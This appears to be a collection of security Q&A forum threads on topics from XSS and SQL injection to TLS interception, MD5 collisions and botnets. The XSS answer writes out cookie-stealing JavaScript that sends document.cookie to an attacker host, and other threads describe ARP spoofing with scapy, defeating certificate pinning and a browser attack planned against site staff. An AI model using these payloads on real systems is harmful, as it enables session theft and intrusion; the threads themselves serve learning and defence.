When writing the name, you didn't stop when you got to the end of the "name" column, and kept writing into the "amount owing" column! This is a buffer overflow.
Later, your table reminds you that you owe $99999999990 to John Smithxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. You find him again and pay him almost 100 billion dollars.


How far is honeypot legal? I have reasons to think that my private message are watched by the site's support that I'm on. This is legal due to the TOS I had to valid when I subscribed to this website.

Howewer, I would like to collect informations about them to prevent any future incoming problem. I thought about honeypot, this is how I imagine it :

I send a failed bbcode to a friend leading to a look like picture link : [img]http://evil.com/mypicture.png[/im]g. I assume such a link can be some kind of html page, using mod_rewrite(Apache), or a low level run time environment such as Node.js.

This link lead to a javascript attack, known as The Spy in the Sandbox. In this private message, my friend knows that and accept it. In this case, sending him this link is legal.

This become tricky when the support will discover this private message. They will think about a basic failed bbcode and copy/paste the link in their browser to see the picture. The attack will then execute itself in their browser and give me some informations about us.

Is honeypot the correct term to designate this attack ?
Is it legal to store and read the informations I'll have collected ?

Honeypots are used by network admins so that when someone attacks their "honeypot" server behind the firewall, they can get information about the hacker while saving the real hardware/servers from attack. See the Wikipedia article here: https://en.wikipedia.org/wiki/Honeypot_(computing), there's a pretty useful diagram that explains the concept better than I can. As far as a better name for this, it seems like more of a case of forensics than a specific type of attack.

As far as legality, it is legal for you to see who has accessed a webpage you own. Your spy in the sandbox/javascript/image payload approach seems vastly over-complicated when you could just host your own webpage and see who connects to it.

If you're looking to gain more information on the target, you might be interested in browser fingerprinting. The Mozilla wiki has a good article here: https://wiki.mozilla.org/Fingerprinting

Basically the idea behind it is that people using certain browsers and operating systems can be tracked by a very specific "fingerprint" of identifying information. JavaScript in general can be used to gather a significant amount of information on a target, and this can be particularly dangerous when all of that information is combined to form a unique signature.


XSS cookie stealing without redirecting to another page I'm practicing in VM following the OWASP guide. I know that is possible to steal the cookie by redirecting to "False" page etc. but I would like to steal the cookie without redirecting on another page.

So, if you have some guestbook and then you put:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

How can I put this into existing page without redirecting?

Basically, what I want is when someone clicks on the link, grab the cookie and print it somewhere on the current page. Maybe in some alt tag or whatever.

Any ideas?

If you have full control of the JavaScript getting written to the page then you could just do

document.write('cookie: ' + document.cookie)

If you want it sent to another server, you could include it in a non-existent image:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

The key here being whether you can output arbitrary JavaScript or whether you're limited in the kind of JavaScript you can get executed. Though if you're limited in what can be output you could use more advanced methods of getting your custom code to execute which are a bit out of scope of the question.


CLI API that requires plaintext user details I've been tasked with writing a module for my company to interface with an external API.  This API has a syntax similar to SSH where I have to incorporate the user details as well as the host address of the server I'm trying to connect to.

However, I run into the security issue that in order to pass the user details, I need to have them in plaintext.  Even worse is the fact that these user details are actually the user details for the machine that the server is running on.  Is there a smart way to do accomplish this task without going overboard and using an external login server?  I know there have been similar discussions where the conclusion "Don't do it" was reached, but in this case I really have no control over the way the API works.

If you can't change the API, then you need to either store the password or ask for it from the user every time you need to make an API call.

Assuming that asking isn't practical, store the password encrypted.  No, it won't stop a serious attacker, but it's better than nothing: storing the password in plaintext won't even stop a script kiddie.


Are all SQL injections exploitable through time-based attacks? Suppose I am fuzzing for SQL injections, instead of trying all other approaches (error-based, boolean-based, union-based, stack-based), would telling my engine to only look for time-based discover all of them?
For example: sqlmap -u URL --batch --technique=T

I am under the impression that time-based would find all SQLi (unless the server is specifically filtering out SLEEP or WAITFOR but not AND which would not really happen) and when found one should then try and find a quicker extraction method (look for boolean-based after already seeing that it is time based injectable). Or that the other methods are tried first because they are quicker to test.

There are definitely exceptions. While sleep may eg work for injections into order by, it doesn't work easily in limit:

select * from pages limit 1,sleep(1); // doesn't work

Obviously, you can still formulate an injection which contains sleep, but I'm guessing sqlmap doesn't have it as default when scanning.

You would also miss injections where the server filters all SQL keywords but still allows inputs like ' -- -.

As noted in the comments, it will also not work if the DBMS does not support a sleep-like function or if you are using the wrong function.

It will also be rather slow (which may or may not be fine) and error-prone (sometimes requests just take some time, especially if you are sending out a lot at a time).


Using the Synchronizer Token pattern, should you ensure the CSRF token is only communicated via HTTPS? Put simply, CSRF tokens can be sniffed out of responses from the server unless the request/response are transmitted using encryption.  Is this enough of a concern to worry about, or is it reasonable to allow the CSRF token to be transmitted via plaintext?

In our case, the framework we're using provides for exactly one CSRF token per session and our application has both HTTP and HTTPS forms to protect.  My concern is that an attacker could sniff the CSRF token while the victim is visiting an HTTP page with a form on it and then entice the victim to visit a malicious HTTPS page which posts to a more sensitive HTTPS request handler on our application with the correct CSRF token (put there by the attacker who sniffed it earlier).

If an attacker can sniff the CSRF token, then he can also sniff the session cookie and there would be no reason for him to launch a CSRF attack. Or am I missing something?


ARP request spoofing I'm working on an SDN-based access/backhaul network. For some experiments I need to generate an ARP request from one of the node in my network, pretending to be another one. Essentially this ARP request will be injected into the network by the controller, but for the moment I have to test if this solution works by generating the ARP packet locally.

Let's assume a client (on which I do not have control) connected to my network has MAC AA:AA:AA:AA:AA:AA. From an interface of a node with a different MAC I want to generate an ARP request (broadcast message) that has as source MAC AA:AA:AA:AA:AA:AA (the client's one).

I would need a CLI tool that can send the crafted ARP request (a sort of arping in which I can specify the src MAC). I tried with pachETH but it needs the pcap file to work via CLI, while ETTERCAP seems to generates ARP reply but not the request. Any hint?

You can use scapy for this. One approach is to record one or more ARP packets first:

pk = sniff(count=1, filter="arp")
pk.summary()

And later use this to build your own ARP request:

arppk = eval(pk[0].command())

Now you can set own values in arppk:

arppk[ARP].hwsrc = 'AA:AA:AA:AA:AA:AA'

The function ls(ARP) shows you more available options.


Microsoft Windows RPC (135/tcp) security risks I was running a vulnerability scan against a Windows Server of mine, TCP port 135.
I got the following output:

  By sending a Lookup request to the portmapper TCP 135 it was possible
  to enumerate the Distributed Computing Environment services running on
  the remote port. Using this information it is possible to connect and
  bind to each service by sending an RPC request to the remote
  port/pipe.

So now I have the following questions:

How can someone connect and bind to each service? What is the command/tool to use, and does it require authentication?
What are the security risks of having this service running, if any?

How can someone connect and bind to each service? What is the command/tool to use, and does it require authentication?

The net use command, browsing network shares, or any other SMB-related command will make use of these services.

What are the security risks of having this service running, if any?

It's often a necessary service to have running as it provides the backbone of a great deal of Windows network sharing services. I wouldn't be concerned so much on it running as I would be concerned if it were exposed outside your network. I believe service enumeration and possible undocumented exploits are the two current risks. Because this is a remote procedure call service, it does have some of the same excitement as any application service -- think of requests passed there in terms of a web query. They ask for a service (page) and pass certain relevant parameters (GET or POST options). Something on the service's back-end runs and returns a result.

See also http://isc.sans.edu/port.html?port=135


How to decrypt TLS traffic originating from a Windows service on my Windows 10 PC? Some months ago I bought a peripheral device for my Windows 10 computer (think of something like a game controller). My home router has a function that allows it to capture all incoming and outgoing traffic of my home network.
By chance I was capturing traffic right when my Windows 10 PC was starting up. When I later analyzed my router's traffic log in Wireshark I noticed a TLS encrypted packet was sent from the Windows 10 PC to an API of the peripheral device's manufacturer. I figured this out through the packet's Server Name Indication field (SNI). The protocol is TLS 1.2 according to Wireshark.
I am quite sure that this connection was established by a Windows service that was created during the driver installation of the peripheral device. Now I want to know what information the service is sending to/ receiving from the API.
My first try was to use an SSLKEYLOGFILE. The SSLKEYLOGFILE worked for browsers like Firefox or Chrome, but not for said Windows service.
Would it be possible to perform a man-in-the-middle attack (MITM) against myself? Or would it be easier to capture the traffic directly on the Windows 10 machine before it gets encrypted?
What would be a viable solution to intercept and decrypt this TLS traffic originating from a Windows service?

You have several possibilities. Each of them with their own Pros and Cons.
Reverse Engineering the Service
The service is just an executable file, so you can load up the binary into a reverse engineering tool of choice (for example, Ghidra, which was developed by our good "friends" over at the NSA) and have a look at what it does.
This has the advantage that you can see exactly what the service does. As an upside, you don't need to worry about any cryptography, since you can see exactly what the service sends as plain text. If you debug it, it may be even simpler.
The downside, of course, is that the service is most likely shipped without debug symbols, and if you're unlucky, in a language that compiled directly to assembler. So debugging may not be a simple task.
Man-in-the-Middle - Naïve Approach
A lot of software has constructs like this:
HttpClient httpClient = new HttpClient();
httpClient.BaseAddress = new Uri("https://example.com/");

var task = httpClient.PostAsXmlAsync<DeviceRequest>("api/GetCurrentVersion", request);

Just standard "How to send a HTTP POST request in C#?" code, right? Notice how the code itself never checks which server certificate is used. What that means is that the runtime will check if the certificate is valid and whether or not it is signed by a Certificate Authority that is trusted by your OS.
So what you can do is to use a proxy server, which serves as an endpoint to the actual server, and then generates a new connection to the service running on your machine. The server will think it is communicating with the service (which is fine, since the service doesn't authenticate itself). The service will think it is communicating with the server, even though it's communicating with the proxy. This is made possible by the fact that the proxy can generate a certificate for the server that is trusted by your local machine.
The exact proxy software used is up to personal preference, as well as the actual protocol being used. TLS merely encapsulates another protocol, which could be HTTP or some other proprietary protocol. HTTPS Proxies are common like sand on a beach, you can use mitmproxy, OWASP ZAP, Burp Suite or any other tool you like or are familiar with. If the protocol is not HTTP, then you need to find another tool. I'm sure Google knows a bunch.
Man-in-the-Middle - Technical Approach
Some companies think they're hot stuff by doing things like mutual authentication and certificate pinning. To quote a colleague of mine:

You're not stopping me, you're just pissing me off.

Mutual authentication means that not only does the client authenticate the server (the default scenario in TLS), but the server also authenticates the client. This is usually done via a client certificate and a private key.
The client certificate, if required, is sent in the Client Hello packet. You can use Wireshark to see if a client certificate is requested and sent (and dump the certificate form there). Since you mentioned that the service uses TLS 1.2, this is easily possible. TLS 1.3 would have made this a bit harder.
Next, you have to have a look at the binary. Since a certificate needs a private key, the private key is either stored as a file somewhere on your file system (the easy way) or inside the binary. There is a great question on Security.SE on how to extract a private key from a binary. Since there are many ways how to store a private key, you might need to poke around a little. (If the service used TLS 1.3, you could also use this to search for the certificate.)
Now that you have the certificate and the private key, you can hand those over to your proxy and the server will believe you are the proper service.
However, there is still the matter of certificate pinning. Roughly speaking, certificate pinning refers to the act of saying that a server must respond either with a specific public key in its certificate, or a certificate signed by a specific CA.
In either case, you have the binary, and you have the public key of your proxy's certificate. All you need to do is overwrite whatever the service expects to whatever you have, and all is fine. Alternatively, you could just completely remove the function that does the certificate check and replace it with a stub that always returns that the certificate is valid. The possibilities are endless.
Making an Educated Guess
A lot of software, when it first starts, contacts the developer to see if a new version is available. It wouldn't be that far-fetched to assume that that's what the software does. If you aren't interested in the exercise and just want to see if the service does anything malicious - this is probably what it's doing.


Unauthorized file writes on Linux Suppose my web browser or any other web-connected app has a minor security hole that won't allow an attacker to run code but will allow them to write a piece of text into a text file I own.

On a typical Linux distro however, certain text files, such as .bashrc, are bound to get executed (for all intents and purposes), and in the case of .bashrc quite frequently.

There's not much an attacker can't do if they can execute shell code.

How can one protect themselves from this?
Would it be a good idea to keep such config files along with executables in user-writables paths chmod -w? Is this security concern far-fetched?

Well any program can have security flaws and one's that interact with the Internet are exposed to potentially malicious content.  That said the major browsers have pretty good track records (all things considered) at reacting to security issues and issuing appropriate patches.

If you do decide to try to protect yourself from this, it might make sense to isolate your browser from the rest of your system.

The level of isolation you implement would likely depend on how much inconvenience you were willing to put up with and how concerned you were.  Some options would be

Run the program in a dedicated VM that rollsback all changes on reboot.  This avoids any state being saved and if an attacker can write to the filesystem, the change is lost on reboot.
Implement some kind of linux container (e.g. docker) to run your browser in.  This has the advantage of a smaller performance hit and less disk space utilization, but you lose a bit of isolation.
Use something like AppArmor or SELinux to restrict what the application can do on your system.


How to prevent a hacker from accessing other user's web dir My website got hacked today :)
The hacker accessed a website hosted by another user on the same server, then he got access to my /home/website-dir/ !
it's my server and I use it to host some websites for me and my friends,
I want to prevent him from gaining access to another user files because he is moving between users.
Thanks

You're probably too late for the server as it stands now - there are a number of different ways an attacker could conceal ways back into your system, so your safest course of action is to consider that they've got access, have copied any data on the system that they wanted to, and are free to upload anything they want to to any website on the server. Either restore to a recent system backup (not just site files), then work on securing it, or take a copy of the site files, wipe and rebuild server, then upload site files after manually checking each one individually. Might seem a lot of work, but any other option leave you open to getting attacked again.

There are several ways to prevent attackers from being able to access more than one site despite them being hosted on the same server - you could look at virtual containers (where each site effectively runs on a separate server) or implementing strong access control levels (so if a specific user account is breached, they can only write to files within their designated folders) - it very much depends on your requirements though. Bear in mind that in most cases, files must be readable by the web server user in order for them to be served, so if an attacker has control of that user, they'll be able to read anything within the website folders - if that is a problem, you need to look at OS level separation through something like Docker, although the configuration for a containerised setup is more complex than Apache/nginx virtual hosts.


I have a conceptual idea for a network that could obfuscate the geolocation of a mobile station. I would appreciate short, critical feedback I am a student in network engineering, and I have a technical essay due on November 18th. I can choose the topic of the essay myself. I have a conceptual idea of a network that could help obfuscate the geolocation of a mobile device. If you could give me some quick feedback on my ideas, that would be much appreciated. To narrow the scope of my essay, I am not going to consider the legal aspects of my scheme, but I am well aware of the issue.

Suppose you have a distributed, nationwide network of nodes that have the ability to act as mobile stations. These nodes know the secret key of your SIM card, Ki, and your IMSI. Whenever you complete some active session with your phone, your phone will "power off" to the ISP's network, and tell the nodes in the network to start acting as your own phone. The nodes will take turns to connect to the network with your Ki and send gibberish data packets. To the eyes of the ISP, it will appear as if you teleport around the country, making it hard to pinpoint your real location.

For this to have a chance at working, I can see that at least the following assumptions must be met:

The nodes need to physically move around, or else they would be mapped to a static location and blacklisted by the ISP.
Your phone needs to "power off" between every active session. No keep-alive packets, no status updates, no compliance to unsolicited base station requests in general. I'm aware that this will be detrimental to QoS.
Communication between your phone and the nodes must be sent through a channel that protects the confidentiality, integrity and authenticity of your data, the TOR network etc..
All data sent from your phone must be encrypted. This makes it much harder for the ISP to discern legitimate data from your real phone from gibberish data sent from network nodes.

There are probably several other, necessary assumptions that I have not considered.

A glaring problem with this scheme that I am aware of, is that the ISP could simply terminate the service of any subscriber that showed this sort of behaviour. But besides that issue, are you able to see any other obvious drawbacks to this idea that I need to consider in my essay?

The "data footprint" of your actual session will probably be fairly easily distinguished from your decoy points from an attacker who can dedicate any amount of time to the problem.

a) Let's say that on Monday, your packets originate from Lesotho, Seattle, and Moscow. On Tuesday, they are from London, Mexico city, and Seattle. On Wednesday, they come from Seattle, Tokyo, and DC. On Thursday, they come from Quebec, Kathmandu, and Seattle...

b) "Gibberish" data would be pretty easy to recognize from data with a purpose. Even it is encrypted, the patterns of the metadata would stand out.

c) Your control messages (power off true location, power on decoys, vice versa) need to be sent out of band and securely or they will give the whole thing away.

Who are you trying to hide from, and what level of resources do they have? That's a good question to think about.


Physically Blocking All PC Ports? I've got a laptop that is currently 'Air Gapped' that I want to further secure by locking down the USB ports and NIC. I've disabled the NIC from the BIOS, removed the WiFi and bluetooth modules. But I don't want to disabled the USB ports and when re-installing i need to use the NIC as well. I do however want to control access to them and to remind myself (primarily) that I should not be connecting 'untrusted' devices to the machine.

I'm tossing up between

A) using some like the devices mentioned here to lock the USB ports (doesn't seem to apply to NIC's however)

B) Putting the laptop in a small safe or something and running the cables through it. (I'm concerned about heat issues)

I don't want to use epoxy as I still need to use the ports from time to time.

Are there any suggestions or recommendations for this?

It really depends on who you are trying to secure the machine against.

If you just want to deter honest but creative users from plugging random USB devices in ports, some tape over the ports ought to be sufficient -- to remind them that this is not acceptable behaviour. Prefer some tamper-evident tape: this will make it more "official looking".

If you want to prevent evil attackers from plugging USB devices into the machine, conditions are harder. Such a person could also bring a screwdriver and open the laptop case altogether -- this is not that hard, and can be done relatively silently and quickly. Storing the machine in a hardened case would be safer. you would need some air flow to dissipate heat, but this can be as simple as a metal grid in front of the air holes of the laptop. The keyboard would still be a challenge: if the attacker can put his hands on the keyboard then he may "dive" through it (destructively, but attackers are not nice people).

Alternatively, you may plug an external keyboard, letting the wire exit the box, but this gives an entry point to the attacker: by dismantling the external keyboard, the attacker would gain access to some wires directly plugged into one of the laptop USB ports, the very thing you would like to avoid. Paradoxically, a wireless keyboard might be safer here, or not, depending on the details of the radio protocol between the keyboard and the dongle plugged in the laptop (and it would be in flagrant contradiction with the whole "air gap" concept).

To sum up, if the potential attacker is definitely hostile and has physical access to the machine, then you are in big trouble, and you need some really strong protection (supervision by an armed guard or even with CCTV could do the trick). If, on the other hand, the attacker is not really evil, then this becomes a matter of user education, and simple "plugs" should suffice.


How exactly is MD5 vulnerable to collission attacks? I've often read that MD5 (among other hashing algorithms) is vulnerable to collisions attacks. I understand the collision part: there exist two (or more) inputs such that MD5 will generate the same output from these distinct and different inputs. There are 20 examples of such inputs given here.

Fair enough, but how does this specifically lead to a vulnerabilities? What is the vector of attack on a system with this kind of a flaw?

For example, say I have a system that simply hashes users' passwords using MD5 for "encryption". Now I want to look at 2 scenarios. (For simplicity, also assume no new users/passwords are added to the system).

Scenario 1: None of the passwords in the system are the kind of inputs that could generate collissions. In other words, all passwords processed by MD5 generate unique hashes. Is there still a collision vulnerability there?

Scenario 2: One of the passwords in the system is this beauty (Collision 14, Message 1 from the list):

Ó)\dvµ‡‚G ÌÕÀ˘∏8;å∑œPäÌ/+6éE≠3}˝óÙ|o‡¬{Ç9¸–Û≤‚Mgª%DWÌé$∞\˛UÊiJ;fÉ;™÷ÎQëµCI<˝y≠˜LùΩ]Owå˜1Ú'¬vo`âÃ(©tú√\îùf#4ú¿�(

So there exists another unsightly string that generates an MD5 collision with this password. However, unless the attacker already know this information, how is the vulnerability exposed?

One common example I've seen involves digitally signing documents using MD5.

Say you have two documents. One of the documents is very innocent, and the other is something malicious. Since you can create both of these documents, you can make it so that they have the same MD5 signatures (using postscript to make the PDFs, for example).

Now you you get somebody to sign the innocent document (which is typically done by signing a hash of the document), but because the hash of both documents is the same, the person just accidentally also signed the malicious document (which might say something like "I give permission for this person to take a million dollars out of my bank account). Now you can present the malicious document to someone else and they will believe the signature on it because of the collision in the document.


How to resolve Path Manipulation error given by fortify? I need to read the properties file kept in user home folder.

PropertyFile=System.getProperty("user.home")+System.getProperty("file.separator")+"sample.properties";

Fortify is giving path manipulation error in this line. How to resolve this issue?

Fortify is raising an issue, not an error because you are taken input from the process's environment and then opening a path with it without doing any input filtering. Even if you were to add input filtering, the odds are low that Fortify were to recognize it and stop producing the issue. So, in the end, you'll likely set the issue's analysis to Not an issue and just stop worrying about it. But you must first determine if this is a real security concern or a false positive.

When it comes to these specific properties, you're safe. The Java VM sets them so, as long as Java isn't corrupted, you're safe. So mark them as Not an issue and move on.

PS: Yes, Fortify should know that these properties are secure.


Brute forcing - How difficult? I'm doing a research project and I have a question regarding how difficult it would be to brute force something.

Say there is a piece of text - "My name is James"
Removing the whitespaces yields "MynameisJames"

If you alter each character in that string with a different character at random, in the range of mixed case alpha numeric and symbols, how difficult would it be to brute force that and get the original string?

The encrypted string would look like "3r#u8N!PRfeq1".

Brute forcing consists of repeatedly generating some new input and then checking if the guess was correct or not. Difficulty of brute forcing thus depends on the average number of guesses needed (i.e. how many different input are there) and how fast it is to verify the correctness of a guess.

Nothing in your question provides these two information and thus your question cannot be answered for your specific example.

But in general the amount of time needed is half the search space (i.e. number of inputs) multiplied with the time needed to create the guess and then check if the guess is correct. For example with a string of 8 characters (A-Z, i.e. 26 characters) the number of possible inputs is 268 and half of these (268/2) are needed to guess correctly on average. If 10,000 guesses per second are possible brute forcing would thus take about 120 days on average to guess the correct input.


Is it so easy to hack mongodb database? Is it so easy to hack mongodb database?

I created a mongodb database and added users. If I want to allow access only to these users I need to add the following parameters to the config file:

security:
  authorization: enabled

setParameter:
  authenticationMechanisms: SCRAM-SHA-1

After adding those parameters to the config file, the database requires authentication.

But a hacker can simply remove the security section from the config file and access all the stored data. Am I missing something?

While this is true, that is true for many applications. If the attacker already has access to the file system it is far too late to worry about your database server. In unix-type operating systems, the configuration file should be accessible only as root (as it is in /etc/mongodb/mongodb.conf). If the attacker has root privileges to change that file, you're boned anyway. Alternatively, the attacker could simply copy the underlying database-files, run his own mongo database server and create his own user or use it without authentication to get to your data. To prevent this, only the user that the database runs under should have access to those files.

So the issue, in this case, isn't mongo, but the security of the whole system and the stack of controls, of which securing the configuration file is one. Authentication checking is useful only when the access is coming from outside and can't be bypassed.


Is it secure if we purchase through a website that is loaded in iframe I found one of the website is loading all shopping websites in their own domain.

  Eg . www.domain.com having links like ,

  www.shoppingsite1.com , www.shoppingsite2.com ,www.shoppingsite3.com
  ....

  if we click on shoppingsite1.com it leads to
  www.domain.com/iframe/shoppingsite1

  and loads the shoppingsite1.com inside this domain.

if some one purchase the product from shoppingsite1.com . Is it possible for domain.com to caputer all user data including payment credentials.

No, as long as the CORS Access-Control-Allow-Origin is at its default restrictive value. This prevents the outer website from accessing the framed website via Javascript/etc.

CSRF attacks are still possible, though most sites protect themselves from this.

Note that you should be sure that the iframe is indeed on the correct domain (right click>view frame info on chrome) and is not being phished.


Challenge-Response authentication and SSL I'm currently developing an Android Application that communicates with a server and needs the user to login.
The connection is secured with SSL and certificate pinning.
For user authentication I'm currently using challenge-response.
The server stores a PBKDF2 hash of the password and the salt used in the PBKDF2 (called PBKDF2(password,salt) ).
Parameters for PBKDF2 are: 10k iterations, SHA256, 32 byte output length.
The flow works as follows:
The Client transmits PBKDF2(Username,Salt) and the Salt
The Server looks up the username and sends back the password-salt and a 32 byte challenge.
The client returns PBKDF2(challenge,PBKDF2(password,salt)).
The server verifies the response and returns a session-token.
So neither the username nor the password are transmitted over the channel.
SSL in and of itself should be pretty secure, and adding certificate pinning should make it resistant to MITM.
Am I overlooking any flaws?
Or is the whole thing overkill given the fact that the connection is SSL encypted?

The Client transmits PBKDF2(Username,Salt) and the Salt
The Server looks up the username and sends back the password-salt and a 32 byte challenge.

The server cannot extract the username directly from the PBKDF2(Username,Salt) since PBKDF2 is a one-way hash and not encryption. The server would need instead to compute the PBKDF2 with the specific salt for all users in the database whenever a user logs in until it has found the matching user. Given that PBKDF2 is explicitly designed to be slow this is a powerful vector for a denial of service.
Apart from that - it is unclear why the username need to be protected like this in the first place.

The client returns PBKDF2(challenge,PBKDF2(password,salt)).

Since the server does not transmit the salt which has to be used by the client, the salt used in this client response and the salt used by the server when storing the password are not the same. I.e. the client is using in its response PBKDF2(password,client_salt) while the server has stored PBKDF2(password,server_salt) with client_salt and server_salt being different. To compare the response from the client the server would have to compute it too, but it would need the original password for this. But again, PBKDF2 is a one-way hash, so it is impossible for the server to extract the original password from the server-side stored hash.
This means that the server cannot check the validity of the clients response, which means the whole authentication process does not work.

... and adding certificate pinning should make it resistant to MITM.

Certificate pinning is no magic bullet against MITM.
It only protects against a specific attack: that the attacker is able to get a certificate created by a CA which is is trusted by the client and where the CA matches the domain name. It does not protect against the attacker having access to the original certificate for example by compromising the server. It also does not protect against attacks against client or server directly, i.e. get access to the information before encryption or after decryption.

Or is the whole thing overkill given the fact that the connection is SSL encypted?

First, it does not even work as shown. It only introduces an additional DoS vector. Since it is not clear what kind of attack the added complexity should even address it likely does not add any relevant value to simply using HTTPS. And if you want to have a working challenge-response method have a look at Digest Access Authentication instead.


How does Binding Images with Malicious Patches happen? Well I don't know if this technique is still used, but about 5-7 years ago it was a popular way to deliver a malicious patch (Sub-7 , bifrost etc ..) to a victim.

There used to be a program that binds the malicious patch with an image or MP3 file.

How dose this happen on the binary level?

How can two codes of two different types of file be put together?

And when running the program (.i.e when its loaded in memory ) how does the OS differentiate the the EXE code from the image or MP3 code?

In other words, how do binding programs work?

Sub7 and Bifrost (or any other popular RAT I can think of) have never provided the ability to include malicious code in .jpg or .mp3 files (or any non-executable format).

Sub7 and ProRAT had, however, the ability to pack the malicious binary and a .jpg file (or any other file for that matter) in one self-extracting archive with an icon of your own choice (check the image below). When you clicked on the resulting .exe file, it stealthily extracted the files, installed the backdoor, and then opened the .jpg file with the default image viewer leading the unsuspecting user to believe that everything is okay.

There are other ways to deploy a malicious payload on the victim's machine. For example, the attacker could create a specially crafter image file to exploit a vulnerability in your image viewer, which would allow the attacker to execute arbitrary code including installing backdoors. An example for this is the famous MS06-001 in Windows Graphic Device Interface (GDI).

That is not only limited to image files, one vulnerability in Windows Media Player allowed a specially crafted .mpg file to execute code on the victim's machine.

Selecting the result file format:

Selecting the icon:


Security of PHP's str_shuffle() I'm doing some research on PHP's str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-predict-the-next-output-for-the-str-shuffle-function-in-php.
I'm interested in how would you break str_shuffle, since PHP's docs states "It does not generate cryptographically secure random values", hence I'm guessing it can be compromised. But how?
What I've tried so far is a bruteforce attack wrote about it here: https://stackoverflow.com/questions/62106860/bruteforcing-a-32-bit-seed-in-php
Why is str_shuffle() used so frequently for generating random tokens? I see alot of this kind of code:
function generate($letters, $length = 8) // $letters is a pool of characters and numbers
{
return substr(str_shuffle($letters), 0, $length);
}

Is this enough for security or not?

Per https://www.php.net/manual/en/function.str-shuffle.php, str_shuffle uses PHP's internal PRNG, which is an implementation of Mersenne Twister (see http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html or https://en.wikipedia.org/wiki/Mersenne_Twister). According to Wikipedia, the standard Mersenne Twister implementation requires observing 624 iterations to be able to predict all future values. For a moderately low-traffic site, this would be easy; just write a script that logs in (or whatever else generates the output of such a function) as fast as possible, as many times as possible, until you get the desired number of outputs in sequence. Depending on how str_shuffle is implemented, a single output may involve multiple invocations of mt_rand (PHP's Mersenne Twister-based PRNG), so you might not actually need a large number of outputs in sequence if you can infer the PRNG outputs by looking at the generated strings. Conveniently, PHP is open source, so you can go look at exactly how these functions work.
Leaving that aside, though, there are other problems with the approach you've described.

An output of length 8 is simply insufficient. Even if each value was a perfectly randomly chosen byte, that's only 64 bits of entropy; while 64 bits is enough that it's not practical to brute force any particular token quickly (assuming a network connection is involved), if there are enough tokens active at once then a birthday attack can be used to find some valid token in much less time than you might think.
Even if a cryptographically secure random number generator were used, constraining the input set as done weakens the security of the output. For example, suppose the input set was "abcdefghijklmnopqrstuvwxyz0123456789", that's only 36 characters and you can guarantee that after you see a character once you won't see it again. Even if $length is 36 - the most it can be - the number of possible permutations is only 36! (factorial(36)) rather than 36^36 (what you'd get if you selected with replacement; that is, if each position's value was chosen from the entire input rather than just the characters that hadn't been chosen before), which is nearly 286 trillion times as many possibilities. Both would actually be secure enough (assuming a CSPRNG!) - 36! is about 2^138, which is plenty of entropy for most auth tokens - but it does matter. With only length 8, you'd have 36!/28!, which is ~1.22 trillion possible combinations, only 40 bits of entropy and just over 43% as many possibilities as the with-replacement approach. A smaller input set, or one the same length but including repeated characters, would be weaker still for those lengths.


How many connections can TCP_WRAPPERS handle? As we know that TCP_WRAPPERS is a good way of security on linux/unix system, to disallow or allow remote user to connect to the specific services. Assume that if there have a large number of disallowed connections to the server configured with TCP_WRAPPERS, how many concurrent connections the TCP_WRAPPERS could handle?

Does it depend on TCP_WRAPPERS or Linux/Unix itself?

It depends on the hardware available and how you've configured the underlying OS - tcpd runs in user-space.

(NB if you have long lists of hosts, then do make sure you've got NIS maps set up for them).


OpenID Connect as SSO I recently research the SSO solution, and I  went into the OpenID connect framework; but after several days of research, this makes me confused that the 'OpenID Connect' protocol does not define the flow for how to login into a Authroization Server and The server how to identify a user will be the user who is coming in ? But according to the official document that the OpenID Connect's purpose is just for Authentication ?

So, anybody could give me some suggestions that if it is possible by using openid connect to meet my purpose:

If i want to implement a Identity Provider server, then how to deal with the user login processes(After user click the login button)?
And, if i want to implement the SSO, then anything else i should do?(just some suggestion)?

B.T.W , my company will provide the different kinds of device products(like , ios ,android,html5 app), but all the products need to login from one server(SSO)

First, you need to understand that OpenID connect is built on top of OAuth 2. That is, you need to understand the differences of the Authorization server, the resource server, the client and the user.

In general the idea is:

a user wants to use a client application but he/she has to login first
the client application trusts an authorization server,
the authorization server knows the user, and asks him/her about the data he/she wants to share with the client application,
if you allow to share the data, the authorization server responds to the client application with an id_token
The client application now can verify the id_token and check the user information contained inside (such as user_id, first_name, last_name, etc.)
the client application now allows you to access (knowing who the user is)

The flow can be slightly different if you are using authorization code or implicit grant, but that should give you a rough idea.

If you are the one implementing the identity provider and/or authorization server then you must allow a client application to be able to register himself in your system. Usually this includes, name of the client and redirect urls to respond when the user clicked login.

hope it helps,


Algorithms for transaction authentication It's unclear to me how transaction signing and transaction authentication work.

Industrial solutions use both symmetric and asymmetric algorithms to compute the signature.

What does RSA add the one-timeness to the transaction?
What are the advantages of symmetric vs. asymmetric algorithms for transaction signing?
If an ORCA based OTP generator is used and the account number/amount is used as datainput with a moving factor (timestep for instance) is this considered a good transaction signature?

Ok, so you want authenticated transactions, so why not just sign each transaction message together with the time. Use asymmetric encryption - my assumption is symmetric encryption is used by multiple users. Once again it's a toss up between computational power and convenience. So symmetric might be a good idea if you're on a low powered system. Then again, if you're on a trusted network, some non lossy compression should also work.

With an OTP, this should also work, in the sense that only the owner of the password should be able to execute up to the number of OTP tokens he has. Usually though OTP is the first step to an authenticated session, after which everything after is considered valid. It's surprising how this paradigm is conserved in many other non related domains.


Zeus botnet source code I am doing my project on botnets and wanted to understand the source code of the Zeus botnet.

Where is the right place to get started with some analysis of zeus botnet source code? I need a good resource or walk through/control flow of the source code for better understanding.

I have read Build your own botnet by SANS, and wanted a similar document or resource on zeus.

As mentioned by echelon, Zeus source code is available in GitHub.

Availability of its source code (leaked in 2011) is one of the reasons many modern botnets are evolved from Zeus.

Be careful when infecting with your botnet several VM/computers you control, you don't want the to infect real user machines with your toy botnet!

For additional security you can put a stop date to ensure it will stop in a few days or -even better- in the past, so it only works where you explicitly misconfigure the clock.


Is suspicious network activity likely to be caused by a rootkit? Netstat has been one of my favorite tools to check out possible malicious connections, but then I heard about the dangers of rootkits and their high complexity, allowing them to be able to bypass anti-virus software and even many anti-rootkit detectors.

Today I noticed my Internet connection was slow. Even though I am connected with DSL, cable, and 3G, it was slow on all three when I tested, and so I decided to check out my network on my way.

The only tool the that spot a suspicious activity from my network was my router, a cheap one, DIR-300. I tried to gather information from four possible sources as shown in this screenshot http://i.imgur.com/9MyOXgY.png .

